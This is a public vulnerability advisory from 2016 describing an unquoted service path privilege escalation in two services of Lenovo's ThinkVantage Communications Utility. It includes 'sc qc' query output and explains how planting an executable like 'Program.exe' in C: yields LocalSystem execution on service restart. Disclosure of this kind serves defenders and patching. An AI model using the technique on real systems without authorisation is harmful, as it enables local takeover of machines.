Lenovo ThinkVantage Communications Utility 3.0.42.0 Privilege Escalation
Posted on 20 October 2016
# Exploit Title: Lenovo ThinkVantage Communications Utility - Unquoted Service Path Privilege Escalation # Date: 10/19/2016 # Exploit Author: Joey Lane # Version: 3.0.42.0 # Tested on: Windows 7 Professional The Lenovo ThinkVantage Communications Utility installs 2 services with unquoted service paths. This enables a local privilege escalation vulnerability. To exploit this vulnerability, a local attacker can insert an executable file in the path of either service. Rebooting the system or restarting either service will run the malicious executable with elevated privileges. This was tested on version 3.0.42.0, but other versions may be affected as well. --------------------------------------------------------------------------- C:>sc qc LENOVO.CAMMUTE [SC] QueryServiceConfig SUCCESS SERVICE_NAME: LENOVO.CAMMUTE TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:Program FilesLenovoCommunications UtilityCAMMUTE.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Lenovo Camera Mute DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:>sc qc LENOVO.TPKNRSVC [SC] QueryServiceConfig SUCCESS SERVICE_NAME: LENOVO.TPKNRSVC TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:Program FilesLenovoCommunications UtilityTPKNRSVC.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Lenovo Keyboard Noise Reduction DEPENDENCIES : SERVICE_START_NAME : LocalSystem --------------------------------------------------------------------------- EXAMPLE: Using the BINARY_PATH_NAME listed above as an example, an executable named "Program.exe" could be placed in "C:", and it would be executed as the Local System user next time the service was restarted.
